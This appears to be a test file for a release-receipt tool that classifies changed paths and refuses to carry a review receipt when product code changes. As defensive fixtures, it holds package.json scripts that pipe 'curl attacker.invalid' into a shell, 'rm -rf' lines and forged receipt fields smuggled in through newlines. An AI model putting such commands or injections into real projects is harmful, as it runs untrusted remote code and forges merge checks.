// /ship; fails_when=the metadata globs or the policy-derived extras stop excluding those paths from the product patch-id, or
// classifyCarryPath/planCarry mislabel them; why_new=the existing carry tests cover base merges and test-only fixes, never the
// metadata class or the policy extras; seam=none; no_claim=none beyond protects
test('a release-metadata-only change (stamp files, CHANGELOG, policy stamp_paths and release_outputs) carries as "release metadata"; the classifier and the plan name every class', () => {
expect(classifyCarryPath('src/app.ts')).toBe('product');
expect(classifyCarryPath('docs/notes.md')).toBe('product');
expect(classifyCarryPath('docs/notes.md', { metadata: ['docs/**/*.md'] })).toBe('metadata');
expect(classifyCarryPath('test/app.test.ts')).toBe('test');
expect(classifyCarryPath('src/__tests__/app.ts')).toBe('test');
expect(classifyCarryPath('pkg/thing_test.go')).toBe('test');
expect(classifyCarryPath('CHANGELOG.md')).toBe('metadata');
// a lockfile is a dependency manifest: product unless the policy names it; a .spec.yaml is an API contract, not a test
expect(classifyCarryPath('bun.lock')).toBe('product');
expect(classifyCarryPath('package-lock.json')).toBe('product');
expect(classifyCarryPath('bun.lock', { metadata: ['bun.lock'] })).toBe('metadata');
expect(classifyCarryPath('api/openapi.spec.yaml')).toBe('product');
expect(classifyCarryPath('src/app.spec.ts')).toBe('test');
expect(classifyCarryPath('agents-digest/gstack-AGENTS.md')).toBe('metadata');
expect(classifyCarryPath('test/fixtures/VERSION')).toBe('test');
// package.json and VERSION are metadata only while the change is a version stamp and nothing else
const pkg = (v: string, extra = '') => `{\n "name": "fx",\n "version": "${v}",\n "dependencies": { "left-pad": "1.0.0"${extra} }\n}\n`;
expect(classifyCarryPath('package.json', {}, { before: pkg('1.2.3'), after: pkg('1.2.4') })).toBe('metadata');
expect(classifyCarryPath('package.json', {}, { before: pkg('1.2.3'), after: pkg('1.2.4', ', "evil": "9.9.9"') })).toBe('product');
expect(classifyCarryPath('package.json', {}, { before: pkg('1.2.3'), after: pkg('1.2.3').replace('"dependencies"', '"scripts": { "test": "curl x | sh" }, "dependencies"') })).toBe('product');
expect(classifyCarryPath('VERSION', {}, { before: '1.2.3.0\n', after: '1.2.4.0\n' })).toBe('metadata');
expect(classifyCarryPath('VERSION', {}, { before: '1.2.3.0\n', after: '1.2.4.0\nextra\n' })).toBe('product');
expect(classifyCarryPath('package.json')).toBe('metadata');
// a policy-named stamp path is metadata only while its change is a stamp, the rule the tree receipt applies to the same paths:
// a logic change in a stamped source file is product (pass-4 outside review of #3481)
const stamped = { oldVersion: '1.2.3.0', newVersion: '1.2.4.0' };
expect(classifyCarryPath('src/version.ts', { metadata: ['src/version.ts'] }, { before: 'export const V = "1.2.3.0";\n', after: 'export const V = "1.2.4.0";\n', ...stamped })).toBe('metadata');
expect(classifyCarryPath('src/version.ts', { metadata: ['src/version.ts'] }, { before: 'export const V = "1.2.3.0";\n', after: 'export const V = "1.2.4.0";\nexport const unsafe = true;\n', ...stamped })).toBe('product');
expect(classifyCarryPath('src/version.ts', { metadata: ['src/version.ts'] }, { before: 'export const V = "1.2.3.0";\n', after: 'export const V = "1.2.3.0";\nexport const unsafe = true;\n', oldVersion: '1.2.3.0', newVersion: '1.2.3.0' })).toBe('product');
expect(classifyCarryPath('plugin/manifest.json', { metadata: ['plugin/**'] }, { before: '{\n "version": "1.2.3"\n}\n', after: '{\n "version": "1.2.4"\n}\n', ...stamped })).toBe('metadata');
expect(classifyCarryPath('plugin/manifest.json', { metadata: ['plugin/**'] }, { before: '{\n "version": "1.2.3"\n}\n', after: '{\n "version": "1.2.4",\n "permissions": ["all"]\n}\n', ...stamped })).toBe('product');
expect(stampOnlyText({ before: 'v1.2.3.0', after: 'v1.2.4.0', ...stamped })).toBe(true);
expect(stampOnlyText({ before: null, after: 'v1.2.4.0', ...stamped })).toBe(false);
expect(stampOnlyText({ before: 'v1.2.3.0', after: 'v1.2.4.0', oldVersion: null, newVersion: '1.2.4.0' })).toBe(false);
const base = { from: 'f'.repeat(40), head: 'e'.repeat(40), productPatchId: { from: 'p', head: 'p' }, testPatchId: { from: 't', head: 't' }, changedProduct: [], mergeCommits: 0, rangeDiff: 'rd' };
const meta = planCarry({ ...base, changed: [{ path: 'VERSION', class: 'metadata' }, { path: 'CHANGELOG.md', class: 'metadata' }] });
expect(meta.ok && meta.carry.reason).toBe('release metadata');
expect(meta.ok && meta.carry.changed_paths).toEqual(['metadata:VERSION', 'metadata:CHANGELOG.md']);
const merges = planCarry({ ...base, mergeCommits: 2, changed: [{ path: 'src/other.ts', class: 'product' }] });
expect(merges.ok && merges.carry.reason).toBe('2 base merges');
const reverted = planCarry({ ...base, changed: [{ path: 'src/other.ts', class: 'product' }] });
expect(reverted.ok && reverted.carry.reason).toBe('no product change');
const empty = planCarry({ ...base, changed: [] });
expect(empty.ok && [empty.carry.reason, empty.carry.product_patch_id]).toEqual(['no content change', 'p']);
expect(planCarry({ ...base, productPatchId: { from: '', head: '' }, changed: [] }).ok && (planCarry({ ...base, productPatchId: { from: '', head: '' }, changed: [] }) as any).carry.product_patch_id).toBe('none');
const changed = planCarry({ ...base, productPatchId: { from: 'p', head: 'q' }, mergeCommits: 1, changed: [], changedProduct: Array.from({ length: 22 }, (_, i) => `src/f${i}.ts`) });
expect(changed.ok).toBe(false);
expect(!changed.ok && changed.code).toBe('RECEIPT_CARRY_PRODUCT_CHANGED');
expect(!changed.ok && changed.message).toContain('src/f0.ts, src/f1.ts');
expect(!changed.ok && changed.message).toContain('src/f19.ts (+2 more)');
expect(!changed.ok && changed.message).not.toContain('src/f20.ts');
const repo = fixture();
fs.mkdirSync(path.join(repo.work, 'src'), { recursive: true });
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 1;\n');
repo.git('add', '.'); repo.git('commit', '-qm', 'seed app'); repo.git('push', '-q', 'origin', 'main');
repo.git('checkout', '-qb', 'feat');
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 2;\n');
repo.git('commit', '-qam', 'feat: a=2');
const reviewed = repo.git('rev-parse', 'HEAD');
// the stamp: VERSION, package.json (version only), the CHANGELOG, a stamp_paths doc and a release_outputs file
fs.writeFileSync(path.join(repo.work, 'VERSION'), '1.2.4.0\n');
fs.writeFileSync(path.join(repo.work, 'package.json'), fs.readFileSync(path.join(repo.work, 'package.json'), 'utf8').replace('"version": "1.2.3"', '"version": "1.2.4"'));
fs.writeFileSync(path.join(repo.work, 'CHANGELOG.md'), fs.readFileSync(path.join(repo.work, 'CHANGELOG.md'), 'utf8').replace('# Changelog\n', '# Changelog\n\n## [1.2.4.0] - 2026-10-26\n\n- a=2\n'));
fs.writeFileSync(path.join(repo.work, 'docs', 'notes.md'), fs.readFileSync(path.join(repo.work, 'docs', 'notes.md'), 'utf8').replace('v1.2.3.0', 'v1.2.4.0'));
fs.writeFileSync(path.join(repo.work, 'generated', 'digest.md'), '# digest v1.2.4.0\nbody\n');
repo.git('commit', '-qam', 'stamp 1.2.4.0');
const head = repo.git('rev-parse', 'HEAD');
const body = path.join(repo.root, 'body.md');
fs.writeFileSync(body, placeReceiptFirst('## Summary\n\nProse.\n', { schema_version: 1, pr: 6, head: reviewed, base: 'main', version: '1.2.3.0' } as any));
const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), GSTACK_SESSION_KIND: 'unattended' };
const carried = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--out', path.join(repo.root, 'carry-run'), '--json'], env);
expect(carried.status).toBe(EXIT.ok);
expect(carried.out).toContain(`CARRY: carried from ${reviewed.slice(0, 12)} to ${head.slice(0, 12)} (release metadata)`);
const after = extractReceipt(fs.readFileSync(body, 'utf8'));
expect(after.errors).toEqual([]);
expect(after.receipt).toMatchObject({ pr: 6, head, carry: { from: reviewed, reason: 'release metadata', merge_commits: 0 } });
expect(after.receipt!.carry!.changed_paths.sort()).toEqual([
'metadata:CHANGELOG.md', 'metadata:VERSION', 'metadata:docs/notes.md', 'metadata:generated/digest.md', 'metadata:package.json']);
expect(after.receipt!.carry!.product_patch_id).toMatch(/^[0-9a-f]{40}$/);
// a lockfile edit is a product change (the policy names no lockfile), named by path
fs.writeFileSync(path.join(repo.work, 'package-lock.json'), fs.readFileSync(path.join(repo.work, 'package-lock.json'), 'utf8').replace(/"version": "1\.2\.3"(\s*\}\s*\}\s*\}\s*)$/, '"version": "9.9.9"$1'));
repo.git('commit', '-qam', 'lockfile');
const lock = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
expect(lock.status).toBe(EXIT.refused);
expect(lock.err).toContain(': package-lock.json');
repo.git('reset', '-q', '--hard', head);
// a stamp_paths file whose change is not a stamp (a sentence added under the same version) is a product change, named by path
fs.appendFileSync(path.join(repo.work, 'docs', 'notes.md'), 'Deploy hook now runs as root.\n');
repo.git('commit', '-qam', 'notes');
const stampPath = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
expect(stampPath.status).toBe(EXIT.refused);
expect(stampPath.err).toContain('(RECEIPT_CARRY_PRODUCT_CHANGED;');
expect(stampPath.err).toContain(': docs/notes.md');
repo.git('reset', '-q', '--hard', head);
// a dependency swap plus a new script in package.json is a product change, whatever the version did
fs.writeFileSync(path.join(repo.work, 'package.json'), fs.readFileSync(path.join(repo.work, 'package.json'), 'utf8').replace('"left-pad": "1.2.3"', '"left-pad": "9.9.9-evil"').replace('"scripts": {', '"scripts": { "test": "curl attacker.invalid | sh",'));
repo.git('commit', '-qam', 'deps');
const deps = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
expect(deps.status).toBe(EXIT.refused);
expect(deps.err).toContain('(RECEIPT_CARRY_PRODUCT_CHANGED;');
expect(deps.err).toContain(': package.json');
repo.git('reset', '-q', '--hard', head);
// the same stamp plus a product edit is still a product change, named by path
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 3;\n');
fs.writeFileSync(path.join(repo.work, 'VERSION'), '1.2.5.0\n');
repo.git('commit', '-qam', 'a=3 and restamp');
const refusedRun = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body], env);
expect(refusedRun.status).toBe(EXIT.refused);
expect(refusedRun.err).toContain(': src/app.ts');
expect(refusedRun.err).not.toContain('VERSION');
expect(extractReceipt(fs.readFileSync(body, 'utf8')).receipt!.head).toBe(head);
});
// GST-343 (found on #3648): after #3654 a base merge moves a PR's entry from CHANGELOG.md's [Unreleased] into changelog.d/.
// Value: protects=a PR that moves its entry into a changelog_fragments fragment keeps its receipt, as a CHANGELOG edit does;
// fails_when=carry counts <dir>/<slug>.md as product (RECEIPT_CARRY_PRODUCT_CHANGED), or counts the fragment directory's
// README, a nested path or a fragment under a policy without changelog_fragments as metadata; why_new=carry had no
// fragments rule; seam=none; no_claim=gh pr edit (--body stands in)
test('a merge-only head that moves the entry into a changelog_fragments fragment carries; the README, a nested path and a fragment with no fragments policy are product', () => {
const frag = { metadata: [], fragments: 'changelog.d' };
expect(classifyCarryPath('changelog.d/feat.md', frag)).toBe('metadata');
expect(classifyCarryPath('changelog.d/README.md', frag)).toBe('product');
expect(classifyCarryPath('changelog.d/sub/feat.md', frag)).toBe('product');
expect(classifyCarryPath('changelog.d/feat.sh', frag)).toBe('product');
expect(classifyCarryPath('changelog.d/feat.md')).toBe('product');
const policy = (fragments: boolean) => JSON.stringify({ bump: 'patch', changelog: 'CHANGELOG.md', ...(fragments ? { changelog_fragments: { dir: 'changelog.d' }, min_gstack_version: '1.91.336.0' } : {}) }) + '\n';
const run = (fragments: boolean, extra: Record<string, string> = {}) => {
const repo = makeFixtureRepo({ policy: null, prefix: 'ship-receipt-frag-' }); repos.push(repo);
const put = (rel: string, text: string) => { fs.mkdirSync(path.dirname(path.join(repo.work, rel)), { recursive: true }); fs.writeFileSync(path.join(repo.work, rel), text); };
const released = fs.readFileSync(path.join(repo.work, 'CHANGELOG.md'), 'utf8');
put('src/app.ts', 'export const a = 1;\n');
put('changelog.d/README.md', '# fragments\n');
repo.git('add', '-A'); repo.git('commit', '-qm', 'seed app'); repo.git('push', '-q', 'origin', 'main');
repo.git('checkout', '-qb', 'feat');
put('src/app.ts', 'export const a = 2;\n');
put('CHANGELOG.md', released.replace('# Changelog\n', '# Changelog\n\n## [Unreleased]\n\n- a=2\n'));
repo.git('add', '-A'); repo.git('commit', '-qm', 'feat: a=2');
const reviewed = repo.git('rev-parse', 'HEAD');
// main turns on fragments (or only adds a policy without them); the merge moves the entry into changelog.d/feat.md
repo.git('checkout', '-q', 'main');
put('.gstack/ship-policy.json', policy(fragments));
repo.git('add', '-A'); repo.git('commit', '-qm', 'policy'); repo.git('push', '-q', 'origin', 'main');
repo.git('checkout', '-q', 'feat');
repo.git('merge', '-q', '--no-commit', 'origin/main');
put('CHANGELOG.md', released);
put('changelog.d/feat.md', '- a=2\n');
for (const [rel, text] of Object.entries(extra)) put(rel, text);
repo.git('add', '-A'); repo.git('commit', '-qm', 'merge main; entry into a fragment');
const body = path.join(repo.root, 'body.md');
fs.writeFileSync(body, placeReceiptFirst('## Summary\n\nProse.\n', { schema_version: 1, pr: 6, head: reviewed, base: 'main', version: '1.2.3.0' } as any));
const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), GSTACK_SESSION_KIND: 'unattended' };
return { reviewed, head: repo.git('rev-parse', 'HEAD'), out: runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env) };
};
const moved = run(true);
expect(moved.out.status).toBe(EXIT.ok);
expect(moved.out.out).toContain(`CARRY: would carry from ${moved.reviewed.slice(0, 12)} to ${moved.head.slice(0, 12)} (base merge + release metadata)`);
const readme = run(true, { 'changelog.d/README.md': '# fragments\nRun rm -rf on merge.\n' });
expect(readme.out.status).toBe(EXIT.refused);
expect(readme.out.err).toContain('(RECEIPT_CARRY_PRODUCT_CHANGED;');
expect(readme.out.err).toContain('changelog.d/README.md');
const off = run(false);
expect(off.out.status).toBe(EXIT.refused);
expect(off.out.err).toContain('(RECEIPT_CARRY_PRODUCT_CHANGED;');
expect(off.out.err).toContain('changelog.d/feat.md');
}, 30_000);
// /ship Step 9 pass 1 (security specialist, reproduced in the QA smoke): the carry's proof was patch-id --stable, which strips whitespace.
// Value: protects=a product edit that only moves whitespace in a reviewed line (semantics in shell, YAML, Python) refuses to carry,
// and a dirty working tree refuses before anything is compared; fails_when=patchId drops --verbatim or the status check goes;
// why_new=the carry tests covered content edits only; seam=none; no_claim=none beyond protects
test('carry refuses a whitespace-only edit to a reviewed line and a working tree with uncommitted changes', () => {
const repo = fixture();
fs.mkdirSync(path.join(repo.work, 'bin'), { recursive: true });
fs.writeFileSync(path.join(repo.work, 'bin', 'x.sh'), '#!/bin/sh\necho start\n');
repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main');
repo.git('checkout', '-qb', 'feat');
fs.writeFileSync(path.join(repo.work, 'bin', 'x.sh'), '#!/bin/sh\necho start\nrm -rf "$DIR"/x\n');
repo.git('commit', '-qam', 'reviewed');
const reviewed = repo.git('rev-parse', 'HEAD');
const body = path.join(repo.root, 'body.md');
fs.writeFileSync(body, placeReceiptFirst('## Summary\n\nProse.\n', { schema_version: 1, pr: 6, head: reviewed, base: 'main' } as any));
const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), GSTACK_SESSION_KIND: 'unattended' };
// a carry-able commit (a test) with a pending product edit beside it: the pending edit is not in what the carry compares
fs.mkdirSync(path.join(repo.work, 'test'), { recursive: true });
fs.writeFileSync(path.join(repo.work, 'test', 'x.test.ts'), 'test\n');
repo.git('add', 'test'); repo.git('commit', '-qm', 'test');
fs.writeFileSync(path.join(repo.work, 'bin', 'x.sh'), '#!/bin/sh\necho start\nrm -rf "$DIR" /x\n');
const dirty = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
expect(dirty.status).toBe(EXIT.refused);
expect(dirty.err).toContain('the working tree has uncommitted changes (bin/x.sh)');
expect(dirty.err).toContain('(RECEIPT_CARRY_REFUSED;');
repo.git('commit', '-qam', 'ws only');
const ws = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
expect(ws.status).toBe(EXIT.refused);
expect(ws.err).toContain('(RECEIPT_CARRY_PRODUCT_CHANGED;');
expect(ws.err).toContain(': bin/x.sh');
expect(extractReceipt(fs.readFileSync(body, 'utf8')).receipt!.head).toBe(reviewed);
});
// /ship Step 9 pass 1 (testing specialist): a receipt carried twice named the carried head as its origin.
// Value: protects=a receipt carried A→B then B→C still names the reviewed head A, adds up the hops' merges and paths, and the
// run record's carried_from is A; fails_when=carryReceipt spreads the new carry over the old one; why_new=only single carries
// were tested; seam=none; no_claim=none beyond protects
test('a receipt carried twice keeps the reviewed head as carry.from and accumulates the hops', () => {
const repo = fixture();
fs.mkdirSync(path.join(repo.work, 'src'), { recursive: true });
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 1;\n');
fs.writeFileSync(path.join(repo.work, 'src', 'other.ts'), 'export const o = 1;\n');
repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main');
repo.git('checkout', '-qb', 'feat');
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 2;\n');
repo.git('commit', '-qam', 'feat');
const a = repo.git('rev-parse', 'HEAD');
// main moves on an unrelated file; feat merges it (hop 1), then a test lands (hop 2)
repo.git('checkout', '-q', 'main');
fs.writeFileSync(path.join(repo.work, 'src', 'other.ts'), 'export const o = 2;\n');
repo.git('commit', '-qam', 'main: other'); repo.git('push', '-q', 'origin', 'main');
repo.git('checkout', '-q', 'feat'); repo.git('merge', '-q', '--no-edit', 'main');
const b = repo.git('rev-parse', 'HEAD');
const body = path.join(repo.root, 'body.md');
fs.writeFileSync(body, placeReceiptFirst('## Summary\n\nProse.\n', { schema_version: 1, pr: 6, head: a, base: 'main' } as any));
const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), GSTACK_SESSION_KIND: 'unattended' };
expect(runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body], env).status).toBe(EXIT.ok);
fs.mkdirSync(path.join(repo.work, 'test'), { recursive: true });
fs.writeFileSync(path.join(repo.work, 'test', 'app.test.ts'), 'test\n');
repo.git('add', '.'); repo.git('commit', '-qm', 'test');
const c = repo.git('rev-parse', 'HEAD');
const second = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--out', path.join(repo.root, 'run2'), '--json'], env);
expect(second.status).toBe(EXIT.ok);
expect(second.out).toContain(`CARRY: carried from ${b.slice(0, 12)} to ${c.slice(0, 12)} (test-only change)`);
const receipt = extractReceipt(fs.readFileSync(body, 'utf8')).receipt!;
expect(receipt.head).toBe(c);
expect(receipt.carry).toMatchObject({ from: a, reason: 'base merge + test-only change', merge_commits: 1 });
expect(receipt.carry!.changed_paths).toEqual(['product:src/other.ts', 'test:test/app.test.ts']);
expect(receiptSummaryLine(receipt)).toContain(`carried_from=${a.slice(0, 12)}`);
const run = JSON.parse(fs.readFileSync(path.join(repo.root, 'run2', 'ship-run.json'), 'utf8'));
expect(run.carried_from).toBe(a);
});
// Generated by /ship Step 7 (coverage audit of the harness lane E diff).
// Value: protects=carry through gh never rebinds a receipt to a head GitHub has not seen (HEAD ahead of the pushed head is
// refused with "push first"), and a failed gh pr edit or gh pr view reports status=incomplete with the body left as it was,
// never status=complete; fails_when=the headRefOid check is dropped, or the gh failure path returns the terminal complete line
// or writes a run record; why_new=the existing gh carry test covers the happy post only; seam=none; no_claim=gh itself (a shim
// stands in for pr view and pr edit)
test('carry --pr refuses a HEAD that is not the pushed head, and a failing gh pr edit or pr view is incomplete with nothing carried', () => {
const repo = fixture();
fs.writeFileSync(path.join(repo.work, 'a.txt'), 'a\n');
repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main');
repo.git('checkout', '-qb', 'feat');
fs.writeFileSync(path.join(repo.work, 'a.txt'), 'b\n');
repo.git('commit', '-qam', 'feat');
const reviewed = repo.git('rev-parse', 'HEAD');
repo.git('commit', '-q', '--allow-empty', '-m', 'empty follow-up');
const head = repo.git('rev-parse', 'HEAD');
const shimDir = path.join(repo.root, 'gh3');
fs.mkdirSync(shimDir);
const posted = path.join(shimDir, 'posted.md');
const prJson = path.join(shimDir, 'pr.json');
const editRc = path.join(shimDir, 'edit-rc');
const prBody = placeReceiptFirst('## Summary\n\nProse.\n', { schema_version: 1, pr: 8, head: reviewed, base: 'main' } as any);
fs.writeFileSync(path.join(shimDir, 'gh'), [
'#!/bin/sh',
`if [ "$1" = pr ] && [ "$2" = view ]; then [ -f "${prJson}" ] || { echo "gh: HTTP 502" >&2; exit 1; }; cat "${prJson}"; exit 0; fi`,
`if [ "$1" = pr ] && [ "$2" = edit ]; then shift 3; [ "$1" = --body-file ] || exit 9; cp "$2" "${posted}"; rc=$(cat "${editRc}" 2>/dev/null || echo 0); [ "$rc" = 0 ] || echo "gh: validation failed" >&2; exit "$rc"; fi`,
'echo "unsupported $*" >&2; exit 1', '',
].join('\n'), { mode: 0o755 });
const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), PATH: `${shimDir}:${process.env.PATH}` };
const runDir = path.join(repo.root, 'run');
// GitHub still has the reviewed head: the follow-up was never pushed
fs.writeFileSync(prJson, JSON.stringify({ body: prBody, headRefOid: reviewed }));
const unpushed = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', runDir], env);
expect(unpushed.status).toBe(EXIT.refused);
expect(unpushed.err).toContain(`HEAD ${head.slice(0, 12)} is not PR #8's pushed head ${reviewed.slice(0, 12)}; push first, then carry`);
expect(unpushed.err).toContain('(RECEIPT_CARRY_REFUSED;');
expect(unpushed.out.trim()).toBe('CARRY: refused (RECEIPT_CARRY_REFUSED)\nGSTACK_RESULT: skill=ship status=refused run=-');
expect(fs.existsSync(posted)).toBe(false);
// pushed, but the edit fails: incomplete, no run record, nothing carried
fs.writeFileSync(prJson, JSON.stringify({ body: prBody, headRefOid: head }));
fs.writeFileSync(editRc, '1\n');
const editFailed = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', runDir], env);
expect(editFailed.status).toBe(EXIT.fail);
expect(editFailed.err).toContain('gh pr edit failed: gh: validation failed; the receipt was not carried');
expect(editFailed.out.trim()).toBe('GSTACK_RESULT: skill=ship status=incomplete run=-');
expect(fs.existsSync(runDir)).toBe(false);
const jsonFail = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', runDir, '--json'], env);
expect(jsonFail.status).toBe(EXIT.fail);
expect(JSON.parse(jsonFail.out)).toMatchObject({ skill: 'ship', status: 'incomplete', run: '-' });
// gh pr view fails: incomplete, not refused
fs.rmSync(prJson);
const viewFailed = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', runDir], env);
expect(viewFailed.status).toBe(EXIT.fail);
expect(viewFailed.err).toContain('gh pr view failed: gh: HTTP 502');
expect(viewFailed.out.trim()).toBe('GSTACK_RESULT: skill=ship status=incomplete run=-');
expect(fs.existsSync(runDir)).toBe(false);
});
});
describe('review_loop receipt input (harness lane E: the factory scorecard counters)', () => {
// Generated by /ship Step 7 (coverage audit of the harness lane E diff).
// Value: protects=the receipt's review_loop carries only well-formed non-negative integer counters, and `write --review-loop`
// refuses a malformed record instead of silently dropping it from the receipt the scorecard reads; fails_when=parseReviewLoop
// accepts a float, a negative or a string count, or write ignores a bad --review-loop and writes the body anyway; why_new=the
// write test covers one valid record only; seam=none; no_claim=none beyond protects
// Moved out of the heavy write test above by /ship Step 7: with the loop case appended there, that test ran 4.8–5.0 s on a
// 4-core machine and tripped bun's 5 s per-test default about every other run; the loop case needs no stamped tree receipt.
test('write --review-loop records the loop counters in the receipt and the SHIP_RECEIPT line', () => {
const repo = fixture();
const loopFile = path.join(repo.root, 'review-loop.json');
fs.writeFileSync(loopFile, JSON.stringify({ passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen' }));
const loopBody = path.join(repo.root, 'body-loop.md');
fs.writeFileSync(loopBody, '## Summary\n');
const withLoop = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '42', '--base', 'main', '--gate', '{"tests":{"pass":1,"fail":0,"skip":0}}',
'--session-kind', 'unattended', '--queue-mode', 'stamp-at-merge', '--history', 'squash-ok', '--review-loop', '@' + loopFile, '--body', loopBody]);
expect(withLoop.status).toBe(EXIT.ok);
expect(withLoop.err.trim()).toContain(' passes=2 blocking_found=1 deferred=1');
expect(extractReceipt(withLoop.out).receipt).toMatchObject({ pr: 42, review_loop: { passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen' } });
const written = extractReceipt(fs.readFileSync(loopBody, 'utf8'));
expect(written.errors).toEqual([]);
expect(Object.keys(written.receipt!).slice(-1)).toEqual(['review_loop']);
});
test('parseReviewLoop keeps integer counters and drops the rest; write --review-loop refuses a malformed record and writes nothing', () => {
expect(parseReviewLoop({ passes: 2, blocking_found: 1, deferred: 1 })).toEqual({ passes: 2, blocking_found: 1, deferred: 1 });
expect(parseReviewLoop({ passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen', extra: 'x' })).toEqual({ passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen' });
expect(parseReviewLoop({ passes: 2, blocking_found: 1, deferred: 1, noted: -1, fixed: 1.5, scope: 'x'.repeat(40) })).toEqual({ passes: 2, blocking_found: 1, deferred: 1, scope: 'x'.repeat(20) });
expect(parseReviewLoop({ passes: 0, blocking_found: 0, deferred: 0 })).toEqual({ passes: 0, blocking_found: 0, deferred: 0 });
for (const bad of [undefined, null, 'frozen', [], { passes: 2, blocking_found: 1 }, { passes: '2', blocking_found: 1, deferred: 1 }, { passes: 1.5, blocking_found: 1, deferred: 1 }, { passes: -1, blocking_found: 1, deferred: 1 }]) {
expect(parseReviewLoop(bad)).toBeUndefined();
}
expect(receiptSummaryLine({ schema_version: 1, head: HEAD, base: 'main', review_loop: { passes: '2', blocking_found: 1, deferred: 1 } } as any)).not.toContain('passes=');
const repo = fixture();
const body = path.join(repo.root, 'body.md');
fs.writeFileSync(body, 'prose\n');
const r = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '7', '--base', 'main', '--session-kind', 'x', '--review-loop', '{"passes":"2","blocking_found":1,"deferred":1}', '--body', body]);
expect(r.status).toBe(EXIT.usage);
expect(r.err).toContain('--review-loop needs integer passes, blocking_found and deferred');
expect(r.out).toBe('');
expect(fs.readFileSync(body, 'utf8')).toBe('prose\n');
});
});
describe('bindReceipt head matching (rule 22)', () => {
// Value: protects=a receipt binds only to a full or 12+ character prefix of an accepted head, and names the PR it was written for;
// fails_when=the 12-character floor is dropped (head "a" would bind any head) or the pr check is removed;
// why_new=the queue, train and result tests bind full 40-character heads only; seam=none; no_claim=gh and CLI wiring (pure function)
test('binds a full head or a 12+ character prefix, refuses shorter prefixes, other heads and another PR\'s receipt', () => {
const head = 'a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0';
const other = 'f'.repeat(40);
const body = (h: string, pr?: number) => placeReceiptFirst('Prose.\n', { schema_version: 1, head: h, base: 'main', ...(pr === undefined ? {} : { pr }) } as any);
const rows: Array<[string, string, string[], string]> = [
['full head', head, [head], 'ok'],
['12-char prefix', head.slice(0, 12), [head], 'ok'],
['11-char prefix', head.slice(0, 11), [head], 'QUEUE_RECEIPT_STALE'],
['7-char prefix', head.slice(0, 7), [head], 'QUEUE_RECEIPT_STALE'],
['other head', other, [head], 'QUEUE_RECEIPT_STALE'],
['pin or current head', head, [other, head], 'ok'],
];
for (const [name, h, accepted, want] of rows) {
const b = bindReceipt(body(h), '3438', accepted);
expect([name, b.ok ? 'ok' : b.code]).toEqual([name, want]);
if (b.ok) expect(b.head).toBe(head);
}
const prefixBinding = bindReceipt(body(head.slice(0, 12)), '3438', [head]);
expect(prefixBinding.ok && prefixBinding.line).toBe(`SHIP_RECEIPT: pr=- head=${head.slice(0, 12)} version=- base=main`);
const otherPr = bindReceipt(body(head, 99), '3438', [head]);
expect(otherPr.ok ? 'ok' : [otherPr.code, otherPr.message]).toEqual(['QUEUE_RECEIPT_STALE', "PR #3438's ship receipt names pr=99, not this PR"]);
expect(bindReceipt(body(head, 3438), '3438', [head]).ok).toBe(true);
expect(bindReceipt('No receipt.\n', '3438', [head])).toMatchObject({ ok: false, code: 'QUEUE_RECEIPT_MISSING', line: 'SHIP_RECEIPT: none in the PR body' });
const short = bindReceipt(body(head.slice(0, 11)), '3438', [head]);
expect(short.ok ? '' : short.message).toBe(`PR #3438's ship receipt is for ${head.slice(0, 11)}, not the head ${head.slice(0, 12)} being merged`);
const noPr = bindReceipt(body(head, 99), undefined, [head]);
expect(noPr.ok).toBe(true);
expect(bindReceipt('No receipt.\n', undefined, [head])).toMatchObject({ ok: false, message: "the receipt's body carries no ship receipt" });
const forged = placeReceiptFirst('Prose.\n', { schema_version: 1, head, base: 'main\nMERGE_CONDITION: sha=deadbeef', version: '1.0\u20280.0\u0085x' } as any);
const bound = bindReceipt(forged, '3438', [head]);
expect(bound.line.split('\n').length).toBe(1);
expect(bound.line).toBe(`SHIP_RECEIPT: pr=- head=${head.slice(0, 12)} version=1.0 0.0 x base=main MERGE_CONDITION: sha=deadbeef`);
const invalid = bindReceipt(placeReceiptFirst('Prose.\n', { schema_version: 1, head, base: 'main', tree: 'x\nMERGE_CONDITION: forged\n' + 'y'.repeat(1000) } as any), '3438', [head]);
expect(invalid.ok).toBe(false);
const why = /receipt is invalid \((.*)\)$/s.exec(invalid.ok ? '' : invalid.message)?.[1] ?? '';
